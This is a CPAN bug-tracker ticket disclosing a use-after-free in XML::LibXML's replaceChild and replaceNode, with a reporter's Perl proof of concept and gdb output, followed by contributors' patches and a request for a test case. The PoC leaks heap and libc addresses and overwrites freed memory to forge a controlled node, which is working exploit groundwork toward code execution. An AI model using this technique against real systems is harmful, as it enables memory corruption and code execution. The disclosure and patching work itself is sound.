Skip Menu |

This queue is for tickets about the XML-LibXML CPAN distribution.

Report information
The Basics
Id: 122246
Status: open
Priority: 0/
Queue: XML-LibXML

People
Owner: Nobody in particular
Requestors: tadinhsung [...] gmail.com
Cc: CARNIL [...] cpan.org
AdminCc:

Bug Information
Severity: Critical
Broken in: 2.0129
Fixed in: (no value)



Subject: Use-after-free in XML::LibXML::Node::replaceChild
Hi there, I’ve just found out one issue. ================================================== affected on version 2.0129 and before Use-after-free in XML::LibXML::Node::replaceChild 0x1: If we use same node to replace like: $root->replaceChild($ufanode,$ufanode); and call function domReplaceChild(..) (https://github.com/shlomif/perl-XML-LibXML/blob/master/LibXML.xs#L4851 ) but at https://github.com /shlomif/perl-XML-LibXML/blob/master/dom.c#L800 if ( new == old ) return new; it's just return pointer new without check HIERARCHY, then it'll call PmmFixOwner(..)->PmmREFCNT_dec(..) https://github.com/shlomif/perl-XML-LibXML/blob/master/perl-libxml-mm.c#L748 at this time ref_count of oldParent=1,the proxy counter'll decrease to 0 and freemeanwhile the oldparent pointer is not unlink on root yet, so we can abuse this $ufanode pointer. We can malloc some new text node with same size(0x80) and overwrite this $ufanode memory in order to create new fakenode. 0x2: This is PoC can leak memory and control all data of $ufanode, leads to code execution bug. Each time when perl inits and parses, heap mem status chunks is always changing, that make it’s hard to debug and you may have to run this PoC several times.. [Code] use utf8; use XML::LibXML; binmode STDOUT, ":utf8"; use open ':encoding(utf8)'; BEGIN { $| = 1 } my $data='<mipu94>ufanode>-------------------------------------------------------tadinhsung-at-gmail-dot-com---------------------------------- -------------------</ufanode> my $parser = XML::LibXML->new(); my $info = $parser->load_xml(string=>$data) or die; my $root = $info->findnodes("mipu94")->[0]; my $ufanode = $root->findnodes("pwn4fun/ufanode")->[0]; $root->replaceChild($ufanode,$ufanode); # triggle free ufanode my $k =$root->toString; Encode::_utf8_off($k); # need off utf8 to get wide characters $x=index($k,"\xff\x7f"); my $heapoff=substr($k,18,3)."\x00"; my $libcoff=substr($k,$x-4,6)."\x00\x00"; my $heap = unpack("I",$heapoff); my $libc = unpack("Q",$libcoff); my $tmp = 0xfffffffff000; $libc = $libc & $tmp; print sprintf("heap: 0x%x\n",$heap); print sprintf("libc: 0x%x\n",$libc); my $payload=pack("Q", 0x0). pack("Q",0x4141414142424242)x11; #try malloc again and refill to create fake ufanode my $fill0="$payload"; my $fill1="$payload"; my $fill2="$payload"; my $fill3="$payload"; my $fill4="$payload"; < div style="font-size:12.8px">my $fill5="$payload"; my $fakenode=$root->lastChild->lastChild; print "\i'm still ok and go more far!\n"; [Code] 0x3: i tested this poc on perl 5, version 27, subversion 1 (v5.27.1-37-g4c95ee9) and Ubuntu 16.04 LTS Some info debug on gdb-peda(heap): gdb-peda$ r poc .... heap: 0x66346e libc: 0x7ffff746f000 [----------------------------------registers-----------------------------------] RAX: 0x7f0c80 --> 0xbb9b30 (0x00000000007f0c80) RBX: 0x1 RCX: 0x646f4e3a3a4c4d58 ('XML::Nod') RDX: 0xbb99a0 --> 0x9350d0 (0x0000000000bb99a0) RSI: 0x9350d0 --> 0xbb99a0 (0x00000000009350d0) RDI: 0xbb9ac0 --> 0x0 RBP: 0x7d7f48 --> 0x7ddb50 --> 0x7d14a0 --> 0x0 RSP: 0x7fffffffe270 --> 0x0 RIP: 0x7ffff615a77f (<XS_XML__LibXML__Node_lastChild+159>: call 0x7ffff6150160 <PmmNodeToSv@plt>) R8 : 0x0 R9 : 0x8 R10 : 0x20 (' ') R11: 0x7ffff723ff50 --> 0xfffda370fffda09f R12: 0x7d1458 --> 0x7ddb58 --> 0x7f69b0 --> 0x7f69a0 --> 0x20c0000c00000001 R13: 0x8 R14: 0xb8efa8 --> 0xb93750 --> 0x0 R15: 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7ffff615a776 <XS_XML__LibXML__Node_lastChild+150>: je 0x7ffff615a77b <XS_XML__LibXML__Node_lastChild+155> 0x7ffff615a778 <XS_XML__LibXML__Node_lastChild+152>: mov rsi,QWORD PTR [rdx] 0x7ffff615a77b & lt;XS_XML__LibXML__Node_lastChild+155>: mov rdi,QWORD PTR [rax+0x20] => 0x7ffff615a77f <XS_XML__LibXML__Node_lastChild+159>: call 0x7ffff6150160 <PmmNodeToSv@plt> 0x7ffff615a784 <XS_XML__LibXML__Node_lastChild+164>: mov rdi,rax 0x7ffff615a787 <XS_XML__LibXML__Node_lastChild+167>: call 0x7ffff6151100 <Perl_sv_2mortal@plt> 0x7ffff615a78c <XS_XML__LibXML__Node_lastChild+172>: mov rdx,QWORD PTR [rbp+0x0] 0x7ffff615a790 <XS_XML__LibXML__Node_lastChild+176>: mov QWORD PTR [rdx+rbx*8],rax Guessed arguments: arg[0]: 0xbb9ac0 --> 0x0 arg[1]: 0x9350d0 --> 0xbb99a0 (0x00000000009350d0) arg[2]: 0xbb99a0 --> 0x9350d0 (0x0000000000bb99a0) [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe270 --> 0x0 0008| 0x7fffffffe278 --> 0x1 0016| 0x7fffffffe280 --> 0x0 0024| 0x7fffffffe288 --> 0x7ddb50 --> 0x7d14a0 --> 0x0 0032| 0x7fffffffe290 --> 0x1 0040| 0x7fffffffe298 --> 0x4bb1b8 (<Perl_pp_entersub+1144>: test bl,bl) 0048| 0x7fffffffe2a0 --> 0xb8e738 --> 0x928540 --> 0x0 0056| 0x7fffffffe2a8 --> 0x4bd716 (<Perl_pp_method_named+454>: test rax,rax) [-------------------- ----------------------------------------------------------] blue Legend: code, data, rodata, value Breakpoint 5, 0x00007ffff615a77f in XS_XML__LibXML__Node_lastChild () from /usr/local/lib/perl5/site_perl/5.27.1/x86_64-linux/auto/XML/LibXML/LibXML.so gdb-peda$ xstruct node $rdi struct node = 0xbb9ac0 imported from peda-structs : private [0] 0xbb9ac0[heap]--> 0x0 type [0] 0xbb9ac8[heap]("BBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAA") *name [0] 0xbb9ad0[heap]("BBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBB AAAABBBBAAAA") children [0] 0xbb9ad8[heap]("BBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAA") last [0] 0xbb9ae0[heap]("BBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAA") parent [0] 0xbb9ae8[heap]("BBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAA") next [0] 0xbb9af0[heap]("BBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAA") prev [0] 0xbb9af8[heap]("BBBBAAAABBBBAAAABBBBAAAABBBBAAAABBBBAAAA") doc [0] 0xbb9b00[heap]("BBBBAAAABBBBAAAABBBBAAAABBBBAAAA") name_space [0] 0xbb9b08[heap]("BBBBAAAABBBBAAAABBBBAAAA") content [0] 0xbb9b10[heap]("BBBBAAAABBBBAAAA") properties [0] 0xbb9b18[heap]("BBBBAAAA") nsDef [0] 0xbb9b20[heap]--> 0x100 psvi [0] 0xbb9b28[heap]--> 0x21('!') line 0x0c80 extra 0x007f $rdi now is $ufanode and we all control this node. And can go more far like get shell :)
Subject: poc.pl
use utf8; use XML::LibXML; binmode STDOUT, ":utf8"; use open ':encoding(utf8)'; BEGIN { $| = 1 } my $data='<mipu94><pwn4fun><ufanode>-------------------------------------------------------tadinhsung-at-gmail-dot-com-----------------------------------------------------</ufanode></pwn4fun></mipu94>'; my $parser = XML::LibXML->new(); my $info = $parser->load_xml(string=>$data) or die; my $root = $info->findnodes("mipu94")->[0]; my $ufanode = $root->findnodes("pwn4fun/ufanode")->[0]; $root->replaceChild($ufanode,$ufanode); # triggle free ufanode my $k =$root->toString; print $k; Encode::_utf8_off($k); # need off utf8 to get wide characters $x=index($k,"\xff\x7f"); my $heapoff=substr($k,18,3)."\x00"; my $libcoff=substr($k,$x-4,6)."\x00\x00"; my $heap = unpack("I",$heapoff); my $libc = unpack("Q",$libcoff); my $tmp = 0xfffffffff000; $libc = $libc & $tmp; print sprintf("heap: 0x%x\n",$heap); print sprintf("libc: 0x%x\n",$libc); my $payload=pack("Q", 0x0). pack("Q",0x4141414142424242)x11; #try malloc again and refill to create fake ufanode my $fill="$payload"; my $fill1="$payload"; my $fill2="$payload"; my $fill3="$payload"; my $fill4="$payload"; my $fill5="$payload"; my $fakenode=$root->lastChild->lastChild; print "\i'm still ok and go more far!\n";
Subject: Suggestion for a fix (maybe naive)
On Tue Jun 27 04:46:48 2017, tadinhsung@gmail.com wrote: Show quoted text
> I’ve just found out one issue.
[...] Hi, since the problem only occurs when a node is replaced with itself, pulling the old == new check from domReplaceChild up into replaceChild should solve the problem, right? I made a little patch which keeps the PoC from crashing and which I'll attach here. Feel free to tell me what I didn't think of :-) Regards, Torsten
Subject: XML-LibXML-2.0129.patch
diff -urN XML-LibXML-2.0129.orig/LibXML.xs XML-LibXML-2.0129/LibXML.xs --- XML-LibXML-2.0129.orig/LibXML.xs 2016-06-24 18:01:53.000000000 +0200 +++ XML-LibXML-2.0129/LibXML.xs 2017-07-13 12:41:48.000000000 +0200 @@ -4829,38 +4829,42 @@ PREINIT: xmlNodePtr ret = NULL; CODE: - if ( self->type == XML_DOCUMENT_NODE ) { - switch ( nNode->type ) { - case XML_ELEMENT_NODE: - warn("replaceChild with an element on a document node not supported yet!"); - XSRETURN_UNDEF; - break; - case XML_DOCUMENT_FRAG_NODE: - warn("replaceChild with a document fragment node on a document node not supported yet!"); - XSRETURN_UNDEF; - break; - case XML_TEXT_NODE: - case XML_CDATA_SECTION_NODE: - warn("replaceChild with a text node not supported on a document node!"); - XSRETURN_UNDEF; - break; - default: - break; - } - } - ret = domReplaceChild( self, nNode, oNode ); - if (ret == NULL) { - XSRETURN_UNDEF; - } - else { - LibXML_reparent_removed_node(ret); - RETVAL = PmmNodeToSv(ret, PmmOWNERPO(PmmPROXYNODE(ret))); - if (nNode->type == XML_DTD_NODE) { - LibXML_set_int_subset(nNode->doc, nNode); + if( nNode == oNode ) { + RETVAL = nNode; + }else{ + if ( self->type == XML_DOCUMENT_NODE ) { + switch ( nNode->type ) { + case XML_ELEMENT_NODE: + warn("replaceChild with an element on a document node not supported yet!"); + XSRETURN_UNDEF; + break; + case XML_DOCUMENT_FRAG_NODE: + warn("replaceChild with a document fragment node on a document node not supported yet!"); + XSRETURN_UNDEF; + break; + case XML_TEXT_NODE: + case XML_CDATA_SECTION_NODE: + warn("replaceChild with a text node not supported on a document node!"); + XSRETURN_UNDEF; + break; + default: + break; + } } - if ( nNode->_private != NULL ) { - PmmFixOwner( PmmPROXYNODE(nNode), - PmmOWNERPO(PmmPROXYNODE(self)) ); + ret = domReplaceChild( self, nNode, oNode ); + if (ret == NULL) { + XSRETURN_UNDEF; + } + else { + LibXML_reparent_removed_node(ret); + RETVAL = PmmNodeToSv(ret, PmmOWNERPO(PmmPROXYNODE(ret))); + if (nNode->type == XML_DTD_NODE) { + LibXML_set_int_subset(nNode->doc, nNode); + } + if ( nNode->_private != NULL ) { + PmmFixOwner( PmmPROXYNODE(nNode), + PmmOWNERPO(PmmPROXYNODE(self)) ); + } } } OUTPUT:
On Thu Jul 13 08:09:08 2017, TLU wrote: Show quoted text
> I made a little patch which keeps the PoC from crashing and which I'll > attach here. Feel free to tell me what I didn't think of :-)
I think I found another way to trigger the problem. There's this replaceNode() function, which goes through the same motions as replaceChild() when asked to replace a node by itself. Attached is a new patch which does the same trivial check for replaceNode(). Regards, Torsten
Subject: XML-LibXML-2.0129.patch
diff -urN XML-LibXML-2.0129.orig/LibXML.xs XML-LibXML-2.0129/LibXML.xs --- XML-LibXML-2.0129.orig/LibXML.xs 2016-06-24 18:01:53.000000000 +0200 +++ XML-LibXML-2.0129/LibXML.xs 2017-07-26 15:11:12.030895877 +0200 @@ -4829,38 +4829,42 @@ PREINIT: xmlNodePtr ret = NULL; CODE: - if ( self->type == XML_DOCUMENT_NODE ) { + if( nNode == oNode ) { + RETVAL = nNode; + }else{ + if ( self->type == XML_DOCUMENT_NODE ) { switch ( nNode->type ) { - case XML_ELEMENT_NODE: - warn("replaceChild with an element on a document node not supported yet!"); - XSRETURN_UNDEF; - break; - case XML_DOCUMENT_FRAG_NODE: - warn("replaceChild with a document fragment node on a document node not supported yet!"); - XSRETURN_UNDEF; - break; - case XML_TEXT_NODE: - case XML_CDATA_SECTION_NODE: - warn("replaceChild with a text node not supported on a document node!"); - XSRETURN_UNDEF; - break; - default: - break; + case XML_ELEMENT_NODE: + warn("replaceChild with an element on a document node not supported yet!"); + XSRETURN_UNDEF; + break; + case XML_DOCUMENT_FRAG_NODE: + warn("replaceChild with a document fragment node on a document node not supported yet!"); + XSRETURN_UNDEF; + break; + case XML_TEXT_NODE: + case XML_CDATA_SECTION_NODE: + warn("replaceChild with a text node not supported on a document node!"); + XSRETURN_UNDEF; + break; + default: + break; + } + } + ret = domReplaceChild( self, nNode, oNode ); + if (ret == NULL) { + XSRETURN_UNDEF; + } + else { + LibXML_reparent_removed_node(ret); + RETVAL = PmmNodeToSv(ret, PmmOWNERPO(PmmPROXYNODE(ret))); + if (nNode->type == XML_DTD_NODE) { + LibXML_set_int_subset(nNode->doc, nNode); + } + if ( nNode->_private != NULL ) { + PmmFixOwner( PmmPROXYNODE(nNode), + PmmOWNERPO(PmmPROXYNODE(self)) ); } - } - ret = domReplaceChild( self, nNode, oNode ); - if (ret == NULL) { - XSRETURN_UNDEF; - } - else { - LibXML_reparent_removed_node(ret); - RETVAL = PmmNodeToSv(ret, PmmOWNERPO(PmmPROXYNODE(ret))); - if (nNode->type == XML_DTD_NODE) { - LibXML_set_int_subset(nNode->doc, nNode); - } - if ( nNode->_private != NULL ) { - PmmFixOwner( PmmPROXYNODE(nNode), - PmmOWNERPO(PmmPROXYNODE(self)) ); } } OUTPUT: @@ -4874,30 +4878,34 @@ xmlNodePtr ret = NULL; ProxyNodePtr owner = NULL; CODE: - if ( domIsParent( self, nNode ) == 1 ) { - XSRETURN_UNDEF; - } - owner = PmmOWNERPO(PmmPROXYNODE(self)); + if( self == nNode ) { + RETVAL = nNode; + }else{ + if ( domIsParent( self, nNode ) == 1 ) { + XSRETURN_UNDEF; + } + owner = PmmOWNERPO(PmmPROXYNODE(self)); - if ( self->type != XML_ATTRIBUTE_NODE ) { - ret = domReplaceChild( self->parent, nNode, self); - } - else { - ret = xmlReplaceNode( self, nNode ); - } - if ( ret ) { - LibXML_reparent_removed_node(ret); - RETVAL = PmmNodeToSv(ret, PmmOWNERPO(PmmPROXYNODE(ret))); - if (nNode->type == XML_DTD_NODE) { - LibXML_set_int_subset(nNode->doc, nNode); + if ( self->type != XML_ATTRIBUTE_NODE ) { + ret = domReplaceChild( self->parent, nNode, self); } - if ( nNode->_private != NULL ) { - PmmFixOwner(PmmPROXYNODE(nNode), owner); + else { + ret = xmlReplaceNode( self, nNode ); + } + if ( ret ) { + LibXML_reparent_removed_node(ret); + RETVAL = PmmNodeToSv(ret, PmmOWNERPO(PmmPROXYNODE(ret))); + if (nNode->type == XML_DTD_NODE) { + LibXML_set_int_subset(nNode->doc, nNode); + } + if ( nNode->_private != NULL ) { + PmmFixOwner(PmmPROXYNODE(nNode), owner); + } + } + else { + croak( "replacement failed" ); + XSRETURN_UNDEF; } - } - else { - croak( "replacement failed" ); - XSRETURN_UNDEF; } OUTPUT: RETVAL
On Wed Jul 26 09:20:16 2017, TLU wrote: Show quoted text
> On Thu Jul 13 08:09:08 2017, TLU wrote: >
> > I made a little patch which keeps the PoC from crashing and which > > I'll > > attach here. Feel free to tell me what I didn't think of :-)
> > I think I found another way to trigger the problem. There's this > replaceNode() function, which goes through the same motions as > replaceChild() when asked to replace a node by itself. > > Attached is a new patch which does the same trivial check for > replaceNode(). > > Regards, > Torsten
Hi Torsten! Sorry for the late reply. Thanks for the patch, but please note that it should include a new test case (see t/*.t). Can you resubmit it with it inside? Also see https://github.com/shlomif/perl-XML-LibXML/ .
On Sun Jul 30 04:40:32 2017, SHLOMIF wrote: [...] Show quoted text
> Sorry for the late reply. Thanks for the patch, but please note that > it should include a new test case (see t/*.t). Can you resubmit it > with it inside? Also see https://github.com/shlomif/perl-XML-LibXML/ .
Hello, I added a test - just the exploit of tadinhsung, really - and created a pull request. I hope it worked, AppVeyor seems to choke on it because there's something with StrawberryPerl. Regards, Torsten